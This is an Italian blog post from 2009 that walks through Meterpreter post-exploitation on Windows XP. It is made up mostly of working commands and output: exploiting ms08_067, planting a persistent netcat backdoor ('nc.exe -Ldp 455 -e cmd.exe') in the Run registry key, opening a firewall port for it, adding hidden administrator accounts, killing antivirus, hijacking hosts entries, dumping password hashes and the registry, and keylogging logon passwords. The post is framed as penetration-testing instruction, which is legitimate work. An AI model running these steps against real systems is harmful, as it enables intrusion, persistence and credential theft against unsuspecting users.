VoIP and Hacking

more Meterpreter tricks

by admin on Dec.18, 2009, under Hacking, Linux, Sicurezza

Continuiamo il nostro esame del modulo Meterpreter di Metasploit

Comandi Meterpreter

background

Tramite il comando background si pone la sessione in background rispetto alla console Metasploit senza terminare la sessione stessa.
Si può tornare ad interagire nuovamente con la sessione usando il comando sessions di Metasploit.

meterpreter > background
msf exploit(handler) > sessions -l


Active sessions
===============


Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.112:443 -> 192.168.1.100:1495


msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…


meterpreter >

cat

Il comando cat mostra i contenuti di un singole file.

meterpreter > cat passwords.txt
harleydavidson
password
kidsbirthday

channel
Fornisce informazioni sui channels attivi.

meterpreter > channel
Usage: channel [options]


OPTIONS:


-h Help menu.
-l List active channels.


meterpreter > channel -l


Id Class Type
-- ----- ----
2 3 stdapi_process


meterpreter >

download

Quando si abbia la necessità di recuperare un file dal target si adopera il comando “download”, che trasferisce il file specificato nella directory di lavoro locale. Avendo la necessità di scaricare ricorsivamente una intere directory, si usa il comando “download -r”.

meterpreter > download users.txt
[*] downloading: users.txt -> users.txt
[*] downloaded : users.txt -> users.txt

edit

Per editare un file tramite il nostro text editor di default si adopera il comando “edit”. Meterpreter scaricherà una copia del file in una directory temporanea, quindi ricaricherà il nuovo file una volta completata l’operazione di editing.

meterpreter > edit users.txt

uictl

Tramite il comando uictl avviamo la facoltà di disabilitare l’input di tastiera e/o mouse sul target.

meterpreter > uictl disable mouse
Disabling mouse...
meterpreter > uictl enable mouse
Enabling mouse...
meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter > uictl enable keyboard
Enabling keyboard...

idletime

Tramite il comando idletime verrà restituito il periodo di tempo di inattività dell’utente del sistema target.

meterpreter > idletime
User has been idle for: 51 secs

interact

Interagisce con un channel

meterpreter > execute -f cmd -c
Process 2484 created.
Channel 1 created.
meterpreter > interact 1
Interacting with channel 1...


Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


C:\Documents and Settings\user>

reboot

Mandando in esecuzione il comando reboot, il sistema target verrà riavviato.

meterpreter > reboot
Rebooting...

upload

Per inviare un file al sistema target si usa il comando upload, con lo switch -r per caricare ricursivamente le directories ed il loro contenuto.

meterpreter > upload antivirus.exe
[*] uploading : antivirus.exe -> antivirus.exe
[*] uploaded : antivirus.exe -> antivirus.exe
meterpreter > ls


Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update
=================================================================


Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .
40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 ..
100777/rwxrwxrwx 10912 fil Wed Dec 31 18:00:00 -0600 1969 antivirus.exe

Utili API Calls

Passerò in rassegna alcune comuni API calls utili ad estendere Meterpreter per attività di scripting.

A tale scopo, l’approccio più comodo è usare la shell irb che può essere sfruttata per eseguire chiamate API direttamente ed osservare quanto viene ritornato.
La Interactive Ruby Shell consente l’utilizzo del linguaggio di scripting Ruby per interagire col sistema compromesso.

Si accede ad irb invocando il comando “irb” dalla shell Meterpreter.

meterpreter > irb
[*] Starting IRB shell
[*] The ‘client’ variable holds the meterpreter client
>>

Inizieremo con chiamate utili alla raccolta di informazioni sul target. La API call per ottenere il nome macchina del target host è “client.sys.config.sysinfo”

>> client.sys.config.sysinfo
=> {"Computer"=>"GHOST-XP", "OS"=>"Windows XP (Build 2600, Service Pack 2).", "Architecture"=>"x86", "System Language"=>"it_IT"}

Come si può osservare, tramit irb, una serie di valori viene restituita.
Se volessimo conoscere il tipo del valore restituito, potremmo usare l’ oggetto class:

>> client.sys.config.sysinfo.class
=> Hash
>>

In questo caso abbiamo ottenuto un hash, cosicché potremo invocare elementi di tale hash tramite la sua chiave.
Supponiamo di voler ottenere la versione dell’OS:

>> client.sys.config.sysinfo['OS']
=> “Windows XP (Build 2600, Service Pack 3).”
>>

Verifichiamo le credenziali con le quali il payload è in esecuzione. A tale scopo, faremo uso della API call “client.sys.config.getuid”:

>> client.sys.config.getuid
=> "WINXPVM01\labuser"
>>

Per ottenere il process ID relativo alla sessione in corso, ovvero determinare in quale processo la sessione sia in esecuzione, possiamo usare la chiamata “client.sys.process.getpid”:

>> client.sys.process.getpid
=> 684

Si possono adoperare le API calls sotto “client.sys.net” per ottenere informazioni sulla configurazione di rete e il suo environment nell’ host target. Per ottenere un elenco di interfaccie e la loro configurazione si adopera la API call “client.net.config.interfaces”:

>> client.net.config.interfaces
=> [#, #]
>> client.net.config.interfaces.class
=> Array

Come si può facilmente notare essa restituisce un array di oggetti che aderisce allo schema Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface, per ciascuna delle interfaccie.

Possiamo iterare attraverso questo array di oggetti e ottenere quello cui ci si riferisce convenzionalmente come “pretty output” per ciascuna interfaccia, con:

>> interfaces.each do |i|
?> puts i.pretty
>> end
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0


Scheda Ethernet PCI AMD PCNET Family #2 - Miniport dell'Utilità di pianificazione pacchetti
Hardware MAC: 08:00:27:01:2a:e6
IP Address : 192.168.1.253
Netmask : 255.255.255.0

Interazione col registry di Windows

Meterpreter possiede alcune funzioni molto utili riguardanti l’interazione col registry.

meterpreter > reg
Usage: reg [command] [options]


Interact with the target machine's registry.


OPTIONS:


-d The data to store in the registry value.
-h Help menu.
-k The registry key path (E.g. HKLM\Software\Foo).
-t The registry value type (E.g. REG_SZ).
-v The registry value name (E.g. Stuff).


COMMANDS:


enumkey Enumerate the supplied registry key [-k ]
createkey Create the supplied registry key [-k ]
deletekey Delete the supplied registry key [-k ]
setval Set a registry value [-k -v -d ]
deleteval Delete the supplied registry value [-k -v ]
queryval Queries the data contents of a value [-k -v ]

Si possono notare varie opzioni che è possibile utilizzare per interagire col sistema remoto. Queste possono venire utilizzate per qualsiasi tipo di azione, oltre alla raccolta informazioni, tra cui azioni relative a lettura, scrittura, creazione, e cancellazione di voci del registry remoto. Utilizzando il registro, uno può trovare quali file siano stati utilizzati, i web sites visitati in Internet Explorer, i programmi utilizzati, i devices USB utilizzati, e così via.

Netcat Backdoor persistente

In questo esempio, installeremo una backdoor basata su netcat. Ciò implica modifiche al registry ed al firewall del sistema.

Per prima cosa carichiamo una copia di netcat sul sistema remoto.

meterpreter > upload /tmp/nc.exe C:\\windows\\system32
[*] uploading : /tmp/nc.exe -> C:\windows\system32
[*] uploaded : /tmp/nc.exe -> C:\windows\system32nc.exe

Dopodiché, occorrerà operare sul registry per fare in modo che netcat venga eseguito ad ogni avvio ponendosi automaticamente in ascolto sulla porta 455.
Lo si ottiene editando la key ‘HKLM\software\microsoft\windows\currentversion\run’.

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run


Values (3):


VMware Tools
VMware User Process
quicktftpserver


meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe"
Successful set nc.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe

Poi, avremo bisogno di consentire stabilmente connessioni remote attraverso il firewall al nostro backdoor netcat.

Possiamo aprire un prompt di comandi interattivo ed usare il comando “netsh” per attuare le modifiche in maniera meno soggetta ad errori, piuttosto che alterando direttamente il registry.

meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


C:\Documents and Settings\Jim\My Documents> netsh firewall show opmode
Netsh firewall show opmode


Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable


Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable


Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode = Enable

Abbiamo aperto la porta 445 nel firewall e comunque possiamo controllare che sia settata correttamente.

C:\Documents and Settings\User\My Documents> netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
Ok.


C:\Documents and Settings\User\My Documents> netsh firewall show portopening
netsh firewall show portopening


Port configuration for Domain profile:
Port Protocol Mode Name
-------------------------------------------------------------------
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service


Port configuration for Standard profile:
Port Protocol Mode Name
-------------------------------------------------------------------
455 TCP Enable Service Firewall
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service


C:\Documents and Settings\User\My Documents>

Possiamo riavviare il nostro sistema di target e testare la shell netcat.

# nc -v 172.16.104.128 455
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


C:\Documents and Settings\User> dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726


Directory of C:\Documents and Settings\User
[...]
C:\Documents and Settings\User>

Abilitazione del Remote Desktop

Esaminiamo una altra situazione in cui Metasploit rende molto semplice creare una backdoor su di un sistema utilizzando niente altro che i tool normalmente a disposizione di quest’ultimo.
Utilizzerò lo script getgui di Carlos Perez, che abilita il Remote Desktop e crea uno user account.

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.253
RHOST => 192.168.1.253
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms08_067_netapi) > exploit
[...]
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.253:1034)


meterpreter > run getgui -u purplehaze -p stratocaster
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: purplehaze with Password: stratocaster
[*] Adding User: purplehaze to local group Remote Desktop Users
[*] Adding User: purplehaze to local group Administrators
[*] You can now login with the created user
meterpreter >

Ecco fatto!

Possiamo adoperare il comando ‘rdesktop’ e specificare username e password da adoperare per il login.
Si riceve probabilmente un messaggio di errore che ci informa del fatto che un altro utente è già loggato nella console del sistema, e che continuando, l’utente verrà disconnesso. Questo è il tipico comportamento di un sistema Windows XP desktop. Windows Server invece consente login grafiche concorrenti.

Meterpreter Scripts Disponibili

Metasploit è accompagnato da una moltitudine di scripts in grado di agevolare l’utilizzo del Metasploit Framework. Tali scripts vengono tipicamente creati da terze parti ed eventualmente adottati nel repository subversion .
Ne passeremo in rassegna alcuni e come sia possibile utilizzarli nell’ambito di un penetration test.

Gli scripts qui menzionati è sottinteso che vengano adoperati in una shell Meterpreter dopo aver compromesso un target con successo. Questi scripts potranno venire usati solo se si abbia ottenuto una sessione col target.

Grazie alla funzionalità di command completion si può ottenere facilmente l’elenco degli scripts attualmente disponibili.

meterpreter > run [TAB]
run checkvm run hostsedit run multiscript run remotewinenum run virtualbox_sysenter_dos
run credcollect run keylogrecorder run netenum run scheduleme run winbf
run get_local_subnets run killav run packetrecorder run schtasksabuse run winenum
run getcountermeasure run metsvc run persistence run scraper run wmic
run getgui run migrate run pml_driver_config run search_dwld
run gettelnet run multicommand run prefetchtool run uploadexec

Lo script “checkvm”, come il suo nome suggerisce, verifica se si abbia attuato un exploit su una virtual machine.

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine …..
[*] This is a Sun VirtualBox Virtual Machine
meterpreter >

Lo script “getcountermeasure” controlla la configurazione relativa alla security sul sistema target e può disabilitare alcune misure di sicurezza tipo A/V, Firewall, ecc.

meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target…
[*] Checking for contermeasures…
[*] Getting Windows Built in Firewall configuration…
[*]
[*] Configurazione profilo Domain:
[*] ——————————————————————-
[*] Modalità operativa = Enable
[*] Modalità eccezioni = Enable
[*]
[*] Configurazione profilo Standard (corrente):
[*] ——————————————————————-
[*] Modalità operativa = Disable
[*] Modalità eccezioni = Enable
[*]
[*] Configurazione firewall Connessione alla rete locale (LAN) 2:
[*] ——————————————————————-
[*] Modalità operativa = Enable
[*]
[*] Checking DEP Support Policy…
meterpreter >


meterpreter > run getgui -u purplehaze -p stratocaster
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: purplehaze with Password: stratocaster
[*] Adding User: purplehaze to local group Remote Desktop Users
[*] Adding User: purplehaze to local group Administrators
[*] You can now login with the created user

Lo script “gettelnet” viene usato per abilitare il servizio telnet sulla vittima nel caso fosse disabilitato.

meterpreter > run gettelnet
Windows Telnet Server Enabler Meterpreter Script
Usage: gettelnet -u -p


OPTIONS:


-e Enable Telnet Server only.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add.


meterpreter > run gettelnet -u purplehaze -p stratocaster
[*] Windows Telnet Server Enabler Meterpreter Script
[*] Setting Telnet Server Services service startup mode
[*] The Telnet Server Services service is not set to auto, changing it to auto …
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: purplehaze with Password: stratocaster
[*] Adding User: purplehaze to local group TelnetClients
[*] Adding User: purplehaze to local group Administrators
[*] You can now login with the created user

Lo script “get_local_subnets” viene usato per ottenere la subnet mask locale di una vittima.

meterpreter > run get_local_subnets
Local subnet: 192.168.1.0/255.255.255.0

Lo script ‘killav’ può venire usato per disabilitare la maggior parte dei programmi antivirus operanti come servizio sul target.

meterpreter > run killav


[*] Killing Antivirus services on the target…
[*] Killing off cmd.exe…

Lo script di Meterpreter “hostsedit” serve ad aggiungere voci al file hosts di Windows. Dal momento che Windows controlla sempre il file hosts prima del DNS server configurato, ciò provoca facilmente una diversione del traffico verso voci fasulle.

meterpreter > run hostsedit


OPTIONS:


-e Host entry in the format of IP,Hostname.
-h Help Options.
-l Text file with list of entries in the format of IP,Hostname. One per line.

Ad esempio, col comando seguente qualsiasi tentativo di navigare in www.bing.com porterà il browser sulla home page del server httpd dell’attaccante.:

meterpreter > run hostsedit -e 192.168.1.10,www.bing.com
[*] Making Backup of the hosts file.
[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts93627.back
[*] Adding Record for Host www.bing.com with IP 192.168.1.10
[*] Clearing the DNS Cache

Lo script “remotewinenum” effettuerà l’enumerazione delle informazioni su di un qualsiasi sistema target tramite wmic.

meterpreter > run remotewinenum


Remote Windows Enumeration Meterpreter Script
This script will enumerate windows hosts in the target environment
given a username and password or using the credential under witch
Meterpreter is running using WMI wmic windows native tool.
Usage:


OPTIONS:


-h Help menu.
-p Password of user on target system
-t The target address
-u User on the target system (If not provided it will use credential of process)


meterpreter > run remotewinenum -u administrator -p ihazpassword -t 192.168.1.128


[*] Saving report to /root/.msf3/logs/remotewinenum/192.168.1.128_20090711.0142
[*] Running WMIC Commands ….
[*] running command wimic environment list
[*] running command wimic share list
[*] running command wimic nicconfig list
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group list
[*] running command wimic sysaccount list
[*] running command wimic volume list brief
[*] running command wimic logicaldisk get description,filesystem,name,size
[*] running command wimic netlogin get name,lastlogon,badpasswordcount
[*] running command wimic netclient list brief
[*] running command wimic netuse get name,username,connectiontype,localname
[*] running command wimic share get name,path
[*] running command wimic nteventlog get path,filename,writeable
[*] running command wimic service list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic rdtoggle list
[*] running command wimic product get name,version
[*] running command wimic qfe list

Lo script “winenum” è un tool molto dettagliato per l’enumerazione windows.

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.1.253:4444…
[*] Saving report to /root/.msf3/logs/winenum/192.168.1.253_20091218.3843-46747/192.168.1.253_20091218.3843-46747.txt
[*] Checking if GHOSTNET-XP is a Virtual Machine ……..
[*] BIOS Check Failed
[*] Running Command List …
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -nao
[*] running command netstat -vb
[*] running command netstat -ns
[*] running command net accounts
[*] running command net accounts /domain
[*] running command net session
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net localgroup administrators
[*] running command net group administrators
[*] running command net view /domain
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] running command tasklist /m
[*] running command gpresult /SCOPE COMPUTER /Z
[*] running command gpresult /SCOPE USER /Z
[*] Running WMIC Commands ….
[*] running command wmic computersystem list brief
[*] running command wmic useraccount list
[*] running command wmic group list
[*] running command wmic service list brief
[*] running command wmic volume list brief
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic netclient list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic share get name,path
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic process list brief
[*] running command wmic startup list full
[*] running command wmic rdtoggle list
[*] running command wmic product get name,version
[*] running command wmic qfe
[*] Extracting software list from registry
[*] Finnished Extraction of software list from registry
[*] Dumping and Downloading the Registry entries for Configured Wireless Networks
[*] Exporting HKLM\Software\Microsoft\WZCSVC\Parameters\Interfaces
[*] Compressing key into cab file for faster download
[*] Downloading wlan_20091218.3843-46747.cab to -> /root/.msf3/logs/winenum/192.168.1.253_20091218.3843-46747/wlan_20091218.3843-46747.cab
[*] Deleting left over files
[*] Dumping password hashes…
[*] Hashes Dumped
[*] Getting Tokens…
[*] All tokens have been processed
[*] Done!
meterpreter >

Lo script “scraper” può ottenere ancora più informazioni, compreso l’intero registry.

meterpreter > run scraper
[*] New session on 192.168.1.253:4444…
[*] Gathering basic system information…
[*] Dumping password hashes…
[*] Obtaining the entire registry…
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\ymTVGNZW.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\WINDOWS\TEMP\pQKZxUWz.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\WINDOWS\TEMP\vnPJBeqf.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\WINDOWS\TEMP\shXonYWQ.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\WINDOWS\TEMP\iGhUgNiA.reg)
[*] Cleaning HKU
[*] Completed processing on 192.168.1.253:4444…
meterpreter >

Cattura delle credenziali di Logon

Winlogon può catturare username e password di chiunque effetti il login nella console del target:

meterpreter > ps


Process list
============


PID Name Path
— —- —-
292 wscntfy.exe C:WINDOWSsystem32wscntfy.exe
316 Explorer.EXE C:WINDOWSExplorer.EXE
356 smss.exe SystemRootSystem32smss.exe
416 csrss.exe ??C:WINDOWSsystem32csrss.exe
440 winlogon.exe ??C:WINDOWSsystem32winlogon.exe
[...]


meterpreter > migrate 440
[*] Migrating to 440…
[*] Migration completed successfully.


meterpreter > keyscan_start
Starting the keystroke sniffer…
[ wait for user login ]


meterpreter > keyscan_dump
Dumping captured keystrokes…
Administrator secretpassword

Send post as PDF to PDF | PDF Creator | PDF Converter
:, , , , , , , , , , , , , , ,

Comments are closed.

Cerchi qualcosa in particolare?

Usa il form qui sotto per cercare nel sito:

Blogroll!

Alcuni links...

Archives

Tutte le entries, in ordine cronologio...